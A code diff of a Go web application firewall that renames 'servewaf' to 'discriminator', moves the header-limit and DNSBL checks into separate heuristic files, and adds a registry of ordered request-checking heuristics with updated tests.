const ( const (
// ClientHeader marks a request as rproxy's question, and gives the // ClientHeader marks a request as rproxy's question, and gives the
// visitor's address. // visitor's address.
ClientHeader = "X-Smallwebwaf-Client" ClientHeader = "X-Sww-Client"
// PeerHeader gives the address of rproxy's own TCP peer. // PeerHeader gives the address of rproxy's own TCP peer.
PeerHeader = "X-Smallwebwaf-Peer" PeerHeader = "X-Sww-Peer"
// ContentLengthHeader gives the body length the visitor announced. // ContentLengthHeader gives the body length the visitor announced.
ContentLengthHeader = "X-Smallwebwaf-Content-Length" ContentLengthHeader = "X-Sww-Content-Length"
// DispositionHeader gives servewaf's answer. // DispositionHeader gives discriminator's answer.
DispositionHeader = "X-Smallwebwaf-Disposition" DispositionHeader = "X-Sww-Disposition"
) )
// The values of DispositionHeader. // The values of DispositionHeader.
@@ -39,26 +40,19 @@ const (
// headers and body. // headers and body.
DispositionDeny = "deny" DispositionDeny = "deny"
// DispositionClose tells rproxy to close the visitor's connection // DispositionClose tells rproxy to close the visitor's connection
// without an answer, which SWWAF_BAN_RESPONSE asks for when it is close. // without an answer, which SWW_BAN_RESPONSE asks for when it is close.
// servewaf closing the question's connection instead would read as // discriminator closing the question's connection instead would read as
// servewaf being down, and rproxy would then let the request through. // discriminator being down, and rproxy would then let the request through.
DispositionClose = "close" DispositionClose = "close"
) )
// ReportPath is where rproxy sends the report of each request servewaf // ReportPath is where rproxy sends the report of each request discriminator
// answered. // answered.
const ReportPath = "/_smallwebwaf/report" const ReportPath = "/_sww/report"
// QuestionBodyMaxBytes is the most of a visitor's body a question carries. // QuestionBodyMaxBytes is the most of a visitor's body a question carries.
const QuestionBodyMaxBytes = 64 << 10 const QuestionBodyMaxBytes = 64 << 10
// The header limits: the most cookies and header fields a request may have
// when the checks reach the Core Rule Set. Real clients never reach them.
const (
maxCookies = 50
maxHeaderFields = 100
)
const ( const (
// maxAwaitingReport is the most answered requests held until their // maxAwaitingReport is the most answered requests held until their
// reports come. Past it, the request answered longest ago is dropped. // reports come. Past it, the request answered longest ago is dropped.
@@ -76,11 +70,11 @@ const (
// maxReportedMilliseconds is the longest duration a report may give, // maxReportedMilliseconds is the longest duration a report may give,
// about 31 years, so that it fits a time.Duration. // about 31 years, so that it fits a time.Duration.
maxReportedMilliseconds = 1e12 maxReportedMilliseconds = 1e12
// serveWAFTimeout bounds how long a request to servewaf takes to arrive, // discriminatorTimeout bounds how long a request to discriminator takes to
// and its answer to leave, and serveWAFIdleTimeout how long a kept-open // arrive, and its answer to leave, and discriminatorIdleTimeout how long a
// connection waits for its next request. // kept-open connection waits for its next request.
serveWAFTimeout = 60 * time.Second discriminatorTimeout = 60 * time.Second
serveWAFIdleTimeout = 120 * time.Second discriminatorIdleTimeout = 120 * time.Second
) )
var ( var (
@@ -99,11 +93,11 @@ type Report struct {
Status int `json:"status"` Status int `json:"status"`
RequestBytes int64 `json:"request_bytes"` RequestBytes int64 `json:"request_bytes"`
ResponseBytes int64 `json:"response_bytes"` ResponseBytes int64 `json:"response_bytes"`
DurationTotal float64 `json:"duration_total"` DurationTotalMS float64 `json:"duration_total_ms"`
DurationUpstreamTotal float64 `json:"duration_upstream_total"` DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"`
} }
// New returns the server `smallwebwaf servewaf` runs. It answers // New returns the server `sww discriminator` runs. It answers
// rproxy's questions, takes rproxy's reports and answers its own endpoints. It // rproxy's questions, takes rproxy's reports and answers its own endpoints. It
// passes nothing to an app. rproxy applies the size and time limits to the // passes nothing to an app. rproxy applies the size and time limits to the
// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it // visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
@@ -117,9 +111,9 @@ func New(params Params) *Server {
Addr: params.Config.ListenAddr, Addr: params.Config.ListenAddr,
Handler: h, Handler: h,
ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn), ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
ReadTimeout: serveWAFTimeout, ReadTimeout: discriminatorTimeout,
WriteTimeout: serveWAFTimeout, WriteTimeout: discriminatorTimeout,
IdleTimeout: serveWAFIdleTimeout, IdleTimeout: discriminatorIdleTimeout,
}, },
Ledger: h.ledger, Ledger: h.ledger,
Limiter: h.limiter, Limiter: h.limiter,
@@ -129,12 +123,14 @@ func New(params Params) *Server {
Lists: h.lists, Lists: h.lists,
DNSBL: h.dnsbl, DNSBL: h.dnsbl,
AbuseIPDB: h.abuseIPDB, AbuseIPDB: h.abuseIPDB,
RouteWatch: h.routeWatch,
Metrics: h.metrics, Metrics: h.metrics,
} }
} }
// ServeHTTP handles one request to servewaf: a request carrying ClientHeader is // ServeHTTP handles one request to discriminator: a request carrying
// rproxy's question, and any other is for servewaf itself. // ClientHeader is rproxy's question, and any other is for discriminator
// itself.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if len(r.Header.Values(ClientHeader)) > 0 { if len(r.Header.Values(ClientHeader)) > 0 {
h.answerQuestion(w, r) h.answerQuestion(w, r)
@@ -147,48 +143,20 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// refusedWhateverTheAnswer reports whether the request is one that does not wait // refusedWhateverTheAnswer reports whether the request is one that does not wait
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about // for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
// its client: it is over the header limits, a blocklist lists its client while // its client: the heuristic crowdsec, header_limits, blocklists or rate_limits
// SWWAF_BLOCKLIST_ACTION is deny, the CrowdSec decision list lists it, or it is // will refuse it, as a function in that heuristic's file says. In observe mode,
// over a whole rate limit. In observe mode, which refuses nothing, none is. // which refuses nothing, none is. rproxy lets a request through when
// rproxy lets a request through when servewaf answers too late. // discriminator answers too late.
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool { func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
if rq.h.config.Observe { if rq.h.config.Observe {
return false return false
} }
lists := rq.h.lists _, decided := rq.crowdSecDecisionInForce(now)
_, decided := lists.CrowdSecDecision(rq.client, now)
return decided || rq.overHeaderLimits() || return decided || overHeaderLimits(rq.headerCounts()) ||
(rq.h.config.BlocklistAction == deny && len(lists.ListedBy(rq.client)) > 0) || rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
(rq.countedByRateLimits() && rq.overAWholeRateLimit(now)
rq.h.limiter.OverARateLimit(rq.h.clientGroup(rq.client), now))
}
// overHeaderLimits reports whether servewaf refuses the request for its
// headers: it has more than maxHeaderFields fields, each value of a header sent
// twice being one, or more than maxCookies cookies, each part of a Cookie header
// between semicolons being one unless it is empty or only spaces and tabs. The
// Core Rule Set runs each of its rules on each cookie, so that thousands of small
// cookies keep it busy for over a second. It trims only spaces and control
// characters, of which a header value can hold only tabs, so a part of Unicode
// spaces is a cookie to it.
func (rq *request) overHeaderLimits() bool {
fields, cookies := 0, 0
for _, values := range rq.in.Header {
fields += len(values)
}
for _, value := range rq.in.Header.Values("Cookie") {
for part := range strings.SplitSeq(value, ";") {
if strings.Trim(part, " \t") != "" {
cookies++
}
}
}
return fields > maxHeaderFields || cookies > maxCookies
} }
// answerQuestion runs the checks on the visitor's request a question // answerQuestion runs the checks on the visitor's request a question
@@ -212,25 +180,25 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
defer rq.finish() defer rq.finish()
rq.site = r.Host rq.site = r.Host
rq.line.ServeWAFLine = requestlog.ServeWAFLineDecision rq.line.DiscriminatorLine = requestlog.DiscriminatorLineDecision
refused := rq.check(r.Context()) refused := rq.check(r.Context())
rq.checked = time.Now() rq.checked = time.Now()
underOwnPrefix := strings.HasPrefix(r.URL.Path, adminPrefix) underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix)
if refused == nil && !underOwnPrefix { if refused == nil && !underOwnPrefix {
// In observe mode, what enforce mode would have refused counts here. // In observe mode, what enforce mode would have refused counts here.
defer rq.countRefusal() defer rq.runAfterAnswer(r.Context())
rq.allow() rq.allow()
return return
} }
// The last deferred runs first: countRefusal before addToHistory, so that a // The last deferred runs first: runAfterAnswer before addToHistory, so that
// broken error burst is in the client's history. // a broken refusal limit is in the client's history.
defer rq.addToHistory() defer rq.addToHistory()
defer rq.countAnomalies() defer rq.countAnomalies()
defer rq.countRefusal() defer rq.runAfterAnswer(r.Context())
if refused != nil { if refused != nil {
rq.deny(*refused) rq.deny(*refused)
@@ -238,15 +206,15 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
return return
} }
// The app never sees this prefix. servewaf's own endpoints are at its // The app never sees this prefix. discriminator's own endpoints are at its
// own address, so this answers as a path with no endpoint does. // own address, so this answers as a path with no endpoint does.
rq.line.Action = requestlog.ActionAdmin rq.line.Action = requestlog.ActionOwnEndpoint
rq.out.Header().Set(DispositionHeader, DispositionDeny) rq.out.Header().Set(DispositionHeader, DispositionDeny)
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound) http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
} }
// readQuestion returns the visitor's address and the body a question carries, // readQuestion returns the visitor's address and the body a question carries,
// and whether servewaf takes the question. It answers a question it does not // and whether discriminator takes the question. It answers a question it does not
// take with 400 and no disposition, which rproxy treats as it treats no // take with 400 and no disposition, which rproxy treats as it treats no
// answer. The id of a question it takes is held from here on, without a // answer. The id of a question it takes is held from here on, without a
// decision yet, so that another question with that id is refused while this // decision yet, so that another question with that id is refused while this
@@ -289,7 +257,7 @@ func (h *handler) readQuestion(
held, _ := h.awaitingReport.ContainsOrAdd(id, nil) held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
if held { if held {
h.refuseQuestion(w, requestIDHeader+" is the id of a request servewaf holds") h.refuseQuestion(w, requestIDHeader+" is the id of a request discriminator holds")
return netip.Addr{}, nil, false return netip.Addr{}, nil, false
} }
@@ -297,17 +265,17 @@ func (h *handler) readQuestion(
return client, body, true return client, body, true
} }
// refuseQuestion answers a question servewaf does not take, for reason. // refuseQuestion answers a question discriminator does not take, for reason.
func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) { func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
h.processLog.Warn("a question is refused", "reason", reason) h.processLog.Warn("a question is refused", "reason", reason)
http.Error(w, reason, http.StatusBadRequest) http.Error(w, reason, http.StatusBadRequest)
} }
// asTheVisitorSentIt returns a copy of r, a question, as the checks and the // asTheVisitorSentIt returns a copy of r, a question, as the checks and the
// log line are to see it: without the headers rproxy adds for servewaf, with // log line are to see it: without the headers rproxy adds for discriminator,
// body, which has been read of r, and with the length the visitor announced, // with body, which has been read of r, and with the length the visitor
// as -1 when it announced none. The question's own length covers only the part // announced, as -1 when it announced none. The question's own length covers
// of the body it carries. // only the part of the body it carries.
func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request { func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
sent := r.Clone(r.Context()) sent := r.Clone(r.Context())
announced := sent.Header.Get(ContentLengthHeader) announced := sent.Header.Get(ContentLengthHeader)
@@ -334,7 +302,7 @@ func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
} }
// allow answers a question with DispositionAllow and, while // allow answers a question with DispositionAllow and, while
// SWWAF_ADD_LOOKUP_HEADERS is set, the client's AS number and country. // SWW_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
func (rq *request) allow() { func (rq *request) allow() {
rq.allowed = true rq.allowed = true
@@ -360,7 +328,7 @@ func (rq *request) deny(r refusal) {
rq.refused = &r rq.refused = &r
if r.status == 0 { if r.status == 0 {
// SWWAF_BAN_RESPONSE is close. Written past rq.out, since the log line's // SWW_BAN_RESPONSE is close. Written past rq.out, since the log line's
// status stays 0: the visitor is sent nothing. // status stays 0: the visitor is sent nothing.
rq.out.Header().Set(DispositionHeader, DispositionClose) rq.out.Header().Set(DispositionHeader, DispositionClose)
rq.out.ResponseWriter.WriteHeader(http.StatusOK) rq.out.ResponseWriter.WriteHeader(http.StatusOK)
@@ -372,7 +340,7 @@ func (rq *request) deny(r refusal) {
http.Error(rq.out, http.StatusText(r.status), r.status) http.Error(rq.out, http.StatusText(r.status), r.status)
} }
// answerOwnEndpoint answers a request to servewaf's own address. No check // answerOwnEndpoint answers a request to discriminator's own address. No check
// runs on it: the address is on the private network, where the peers are // runs on it: the address is on the private network, where the peers are
// rproxy and the admin's tools, not visitors. // rproxy and the admin's tools, not visitors.
func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) { func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
@@ -412,7 +380,7 @@ func (h *handler) takeReport(w http.ResponseWriter, r *http.Request) {
// Remove reports true to one report only, of several that name the id. A // Remove reports true to one report only, of several that name the id. A
// question still being handled is held as nil. // question still being handled is held as nil.
if found && held != nil && h.awaitingReport.Remove(report.RequestID) { if found && held != nil && h.awaitingReport.Remove(report.RequestID) {
h.finishWith(held, report) h.finishWith(r.Context(), held, report)
} }
w.WriteHeader(http.StatusNoContent) w.WriteHeader(http.StatusNoContent)
@@ -437,7 +405,7 @@ func readReport(w http.ResponseWriter, r *http.Request) (Report, error) {
for _, name := range []string{ for _, name := range []string{
"request_id", "status", "request_bytes", "response_bytes", "request_id", "status", "request_bytes", "response_bytes",
"duration_total", "duration_upstream_total", "duration_total_ms", "duration_upstream_total_ms",
} { } {
value, there := fields[name] value, there := fields[name]
if !there || string(value) == "null" { if !there || string(value) == "null" {
@@ -463,11 +431,11 @@ func (report *Report) checkRanges() error {
return fmt.Errorf("%w: request_bytes", errReportValue) return fmt.Errorf("%w: request_bytes", errReportValue)
case report.ResponseBytes < 0 || report.ResponseBytes > maxReportedBytes: case report.ResponseBytes < 0 || report.ResponseBytes > maxReportedBytes:
return fmt.Errorf("%w: response_bytes", errReportValue) return fmt.Errorf("%w: response_bytes", errReportValue)
case report.DurationTotal < 0 || report.DurationTotal > maxReportedMilliseconds: case report.DurationTotalMS < 0 || report.DurationTotalMS > maxReportedMilliseconds:
return fmt.Errorf("%w: duration_total", errReportValue) return fmt.Errorf("%w: duration_total_ms", errReportValue)
case report.DurationUpstreamTotal < 0 || case report.DurationUpstreamTotalMS < 0 ||
report.DurationUpstreamTotal > maxReportedMilliseconds: report.DurationUpstreamTotalMS > maxReportedMilliseconds:
return fmt.Errorf("%w: duration_upstream_total", errReportValue) return fmt.Errorf("%w: duration_upstream_total_ms", errReportValue)
} }
return nil return nil
@@ -475,11 +443,11 @@ func (report *Report) checkRanges() error {
// finishWith finishes a request with what its report says, and writes the // finishWith finishes a request with what its report says, and writes the
// request's last log line, which holds its decision's fields and the report's. // request's last log line, which holds its decision's fields and the report's.
// For an allowed request it first counts the request's bytes, and adds it to its // For an allowed request it first runs the heuristics of onReport, and adds the
// client's history, the anomaly counters and the metrics, with the status and // request to its client's history, the anomaly counters and the metrics, with
// bytes the report gives. A denied request's counting was finished at its // the status and bytes the report gives. A denied request's counting was
// decision. // finished at its decision. ctx is the report's own context.
func (h *handler) finishWith(held *decision, report Report) { func (h *handler) finishWith(ctx context.Context, held *decision, report Report) {
rq := &request{ rq := &request{
decision: *held, decision: *held,
h: h, h: h,
@@ -487,22 +455,22 @@ func (h *handler) finishWith(held *decision, report Report) {
requestBytes: report.RequestBytes, requestBytes: report.RequestBytes,
} }
rq.line.ServeWAFLine = requestlog.ServeWAFLineReport rq.line.DiscriminatorLine = requestlog.DiscriminatorLineReport
rq.line.Status = report.Status rq.line.Status = report.Status
rq.line.RequestBytes = report.RequestBytes rq.line.RequestBytes = report.RequestBytes
rq.line.ResponseBytes = report.ResponseBytes rq.line.ResponseBytes = report.ResponseBytes
rq.line.DurationTotal = report.DurationTotal rq.line.DurationTotalMS = report.DurationTotalMS
if rq.allowed { if rq.allowed {
rq.line.DurationUpstreamTotal = &report.DurationUpstreamTotal rq.line.DurationUpstreamTotalMS = &report.DurationUpstreamTotalMS
rq.countBytes() rq.runBanningHeuristics(ctx, onReport())
rq.countAnomalies() rq.countAnomalies()
rq.addToHistory() rq.addToHistory()
rq.h.metrics.RequestReported(&rq.line, rq.h.metrics.RequestReported(&rq.line,
time.Duration(report.DurationTotal*float64(time.Millisecond)), time.Duration(report.DurationTotalMS*float64(time.Millisecond)),
time.Duration(report.DurationUpstreamTotal*float64(time.Millisecond))) time.Duration(report.DurationUpstreamTotalMS*float64(time.Millisecond)))
} }
rq.writeLine() rq.writeLine()
File diff suppressed because it is too large. Load diff
+43
View File
@@ -0,0 +1,43 @@
package discriminator
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
// verdicts through the DNSBL checker.
import (
"context"
"strings"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
// the request when SWW_REPUTATION_ACTION is deny. Being
// limit, it lowers the client's limits instead (see limitPercentages), and
// being log, it does nothing more. A zone without a verdict on the client is
// asked about it in the background, and the request does not wait for the
// answer. Its figure is the zones that list the client, their keys masked.
type dnsbl struct{}
func (dnsbl) name() string { return "dnsbl" }
func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
listedBy := rq.h.dnsbl.ListedBy(ctx, rq.client)
rq.dnsblListed = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a DNSBL zone")
for _, zone := range listedBy {
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
}
if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
return nil
}
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{"zones": listedBy},
}
}
+71
View File
@@ -0,0 +1,71 @@
package discriminator
// The heuristic header_limits. It reads no setting: its limits are fixed.
import (
"context"
"strings"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The header limits: the most cookies and header fields a request may have
// when the checks reach the Core Rule Set. Real clients never reach them.
const (
maxCookies = 50
maxHeaderFields = 100
)
// headerLimits refuses a request over the header limits, with 431. Its figures
// are the request's header fields and cookies, and the limit of each.
type headerLimits struct{}
func (headerLimits) name() string { return "header_limits" }
func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
fields, cookies := rq.headerCounts()
if !overHeaderLimits(fields, cookies) {
return nil
}
return &verdict{
action: requestlog.ActionRequestHeaderTooLarge,
figures: map[string]any{
"fields": fields, "fields_limit": maxHeaderFields,
"cookies": cookies, "cookies_limit": maxCookies,
},
}
}
// overHeaderLimits reports whether a request with these counts of header fields
// and cookies, as headerCounts counts them, is over the header limits: it has
// more than maxHeaderFields fields or more than maxCookies cookies.
func overHeaderLimits(fields, cookies int) bool {
return fields > maxHeaderFields || cookies > maxCookies
}
// headerCounts returns the request's header fields, each value of a header sent
// twice being one, and its cookies, each part of a Cookie header between
// semicolons being one unless it is empty or only spaces and tabs. The Core
// Rule Set runs each of its rules on each cookie, so that thousands of small
// cookies keep it busy for over a second. It trims only spaces and control
// characters, of which a header value can hold only tabs, so a part of Unicode
// spaces is a cookie to it.
func (rq *request) headerCounts() (int, int) {
fields, cookies := 0, 0
for _, values := range rq.in.Header {
fields += len(values)
}
for _, value := range rq.in.Header.Values("Cookie") {
for part := range strings.SplitSeq(value, ";") {
if strings.Trim(part, " \t") != "" {
cookies++
}
}
}
return fields, cookies
}
@@ -1,11 +1,11 @@
package servewaf_test package discriminator_test
import ( import (
"net/http" "net/http"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
func TestHealthEndpointCountsTowardNoLimit(t *testing.T) { func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
@@ -21,7 +21,8 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
) )
for range healthChecks { for range healthChecks {
got := s.adminRequest("", http.MethodGet, servewaf.HealthPath, "", http.StatusOK) got := s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "",
http.StatusOK)
if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType { if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+ t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
+140
View File
@@ -0,0 +1,140 @@
package discriminator
import (
"context"
"time"
)
// To add a heuristic, write one file with a type that implements heuristic,
// and add one line for it to one of the lists below. Its settings go in
// config.Config, and the comment at the top of its file names them.
// heuristic is one of the checks that decide what discriminator does with a
// request.
type heuristic interface {
// name is the heuristic's name, which the log line gives.
name() string
// check looks at the request at now, and returns nil to let it through.
// ctx is the request's own context.
check(ctx context.Context, rq *request, now time.Time) *verdict
}
// verdict is a heuristic refusing a request, or banning its client: the action
// the log line names, one of requestlog's Action constants, and the figures the
// heuristic acted on, by name, such as the count and the limit.
type verdict struct {
action string
figures map[string]any
}
// The names of the figures that more than one heuristic gives.
const (
figureWindow = "window"
figureCount = "count"
figureLimit = "limit"
figureScore = "score"
figureNetblock = "netblock"
)
// The lists of heuristics, each in the order its heuristics run. A client in
// SWW_ALLOW_NETS skips them all.
// beforeLookup are the heuristics that run before the client's AS number and
// country are looked up, so that a client they refuse is not looked up.
func beforeLookup() []heuristic {
return []heuristic{
tagLists{},
routeWatchTags{},
denyNets{},
activeBan{},
}
}
// afterLookup are the heuristics that run once the lookup has been made.
// tag_deny runs twice: before the rate limits, on the tags known by then, and
// last, on the tag rule_files and core_rule_set can add.
func afterLookup() []heuristic {
return []heuristic{
countries{},
blocklists{},
crowdSec{},
dnsbl{},
abuseIPDB{},
tagDeny{},
rateLimits{},
trapPaths{},
ruleFiles{},
headerLimits{},
coreRuleSet{},
tagDeny{},
}
}
// afterAnswer are the heuristics that run on a request once discriminator has
// answered it, before its decision line is written. They ban the client, and do
// not change what the request got: their verdict's action is not used.
func afterAnswer() []heuristic {
return []heuristic{
refusalLimit{},
}
}
// onReport are the heuristics that run on an allowed request when rproxy's
// report of it comes, before its report line is written. Like afterAnswer, they
// only ban.
func onReport() []heuristic {
return []heuristic{
byteLimits{},
}
}
// runAfterAnswer runs the heuristics of afterAnswer on the request, at the time
// it is called.
func (rq *request) runAfterAnswer(ctx context.Context) {
rq.runBanningHeuristics(ctx, afterAnswer())
}
// runHeuristics runs list, beforeLookup or afterLookup, on the request at now,
// and returns the first verdict, or nil when none gives one. The log line's
// heuristic and heuristic_figures name the heuristic that gave it, and give its
// figures. ctx is the request's own context.
func (rq *request) runHeuristics(
ctx context.Context, list []heuristic, now time.Time,
) *verdict {
name, v := rq.firstVerdict(ctx, list, now)
if v != nil {
rq.line.Heuristic = name
rq.line.HeuristicFigures = v.figures
}
return v
}
// runBanningHeuristics runs list, afterAnswer or onReport, on the request at
// the time it is called. The log line's after_answer_heuristic and
// after_answer_heuristic_figures name the heuristic that gave a verdict, and
// give its figures, so that heuristic and heuristic_figures still name the one
// that refused the request. ctx is the request's own context.
func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) {
name, v := rq.firstVerdict(ctx, list, rq.h.now())
if v != nil {
rq.line.AfterAnswerHeuristic = name
rq.line.AfterAnswerHeuristicFigures = v.figures
}
}
// firstVerdict runs list on the request at now, in order, until a heuristic
// gives a verdict, and returns that heuristic's name and its verdict, or "" and
// nil when none gives one. ctx is the request's own context.
func (rq *request) firstVerdict(
ctx context.Context, list []heuristic, now time.Time,
) (string, *verdict) {
for _, each := range list {
v := each.check(ctx, rq, now)
if v != nil {
return each.name(), v
}
}
return "", nil
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"io" "io"
@@ -8,9 +8,9 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
@@ -20,7 +20,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h", lookupTimeout: "1h",
rateLimitPerMinute: "2", rateLimitPerMinute: "2",
deniedCountries: "kp", tagDeny: denyKP,
}) })
start := clk.Now() start := clk.Now()
@@ -31,9 +31,9 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
clk.advance(time.Second) clk.advance(time.Second)
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
clk.advance(time.Second) clk.advance(time.Second)
s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
want := ratelimit.History{ want := ratelimit.History{
FirstSeen: start, FirstSeen: start,
@@ -45,7 +45,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
Requests: 4, Requests: 4,
Forwarded: 2, Forwarded: 2,
Refused: 2, Refused: 2,
// The app answers with no body, smallwebwaf with its status text. // The app answers with no body, sww with its status text.
ResponseBytes: 2 * int64(len("Forbidden\n")), ResponseBytes: 2 * int64(len("Forbidden\n")),
Responses: ratelimit.Responses{Status2xx: 2, Status4xx: 2}, Responses: ratelimit.Responses{Status2xx: 2, Status4xx: 2},
Offences: ratelimit.Offences{Limit: 1}, Offences: ratelimit.Offences{Limit: 1},
@@ -100,8 +100,9 @@ func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
s, _, server := startWithClock(t, "", map[string]string{metricsToken: token}) s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
s.adminRequest("", http.MethodGet, servewaf.HealthPath, "", http.StatusOK) s.ownEndpointRequest("", http.MethodGet, discriminator.HealthPath, "", http.StatusOK)
s.adminRequest("", http.MethodGet, servewaf.MetricsPath, "", http.StatusUnauthorized) s.ownEndpointRequest("", http.MethodGet, discriminator.MetricsPath, "",
http.StatusUnauthorized)
s.scrape() s.scrape()
if clients := server.Limiter.Snapshot(); len(clients) != 0 { if clients := server.Limiter.Snapshot(); len(clients) != 0 {
@@ -115,7 +116,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil) addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound) wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound)
out.endedLine(t) out.endedLine(t)
history := historyOf(t, server, localhost) history := historyOf(t, server, localhost)
@@ -126,7 +127,9 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
} }
// historyOf returns the history of the client at addr. // historyOf returns the history of the client at addr.
func historyOf(t *testing.T, server *servewaf.Server, addr string) ratelimit.History { func historyOf(
t *testing.T, server *discriminator.Server, addr string,
) ratelimit.History {
t.Helper() t.Helper()
client := netip.MustParsePrefix(addr + "/32") client := netip.MustParsePrefix(addr + "/32")
@@ -1,16 +1,18 @@
package servewaf package discriminator
import ( import (
"context" "context"
"net/http" "net/http"
"net/netip" "net/netip"
"strings"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/lookup"
) )
// The headers in which an answer of allow gives rproxy the client's AS number // The headers in which an answer of allow gives rproxy the client's AS number
// and country, for the app, while SWWAF_ADD_LOOKUP_HEADERS is set. Go writes // and country, for the app, while SWW_ADD_LOOKUP_HEADERS is set. Go writes
// every header name in this form, as it sends it and as it receives it, so // every header name in this form, as it sends it and as it receives it, so
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive. // X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
const ( const (
@@ -19,8 +21,9 @@ const (
) )
// lookUp looks up the client's AS number and country, in the lookup // lookUp looks up the client's AS number and country, in the lookup
// database or through GeoJS, and notes them for the log line, unless // database or through GeoJS, and notes them for the log line and as the
// SWWAF_LOOKUP_SOURCE is off or the client is on a private, loopback or // request's asn= and country= tags, unless
// SWW_LOOKUP_SOURCE is off or the client is on a private, loopback or
// link-local address, which no lookup can place. The lookup database // link-local address, which no lookup can place. The lookup database
// answers at once. With GeoJS, while a setting needs the answer, such as a // answers at once. With GeoJS, while a setting needs the answer, such as a
// country list or a biased threshold, a new client's request waits for it, // country list or a biased threshold, a new client's request waits for it,
@@ -47,6 +50,34 @@ func (rq *request) lookUp(ctx context.Context, now time.Time) {
rq.line.ASN = rq.lookupAnswer.ASN rq.line.ASN = rq.lookupAnswer.ASN
rq.line.ASName = rq.lookupAnswer.ASName rq.line.ASName = rq.lookupAnswer.ASName
rq.line.Country = rq.lookupAnswer.Country rq.line.Country = rq.lookupAnswer.Country
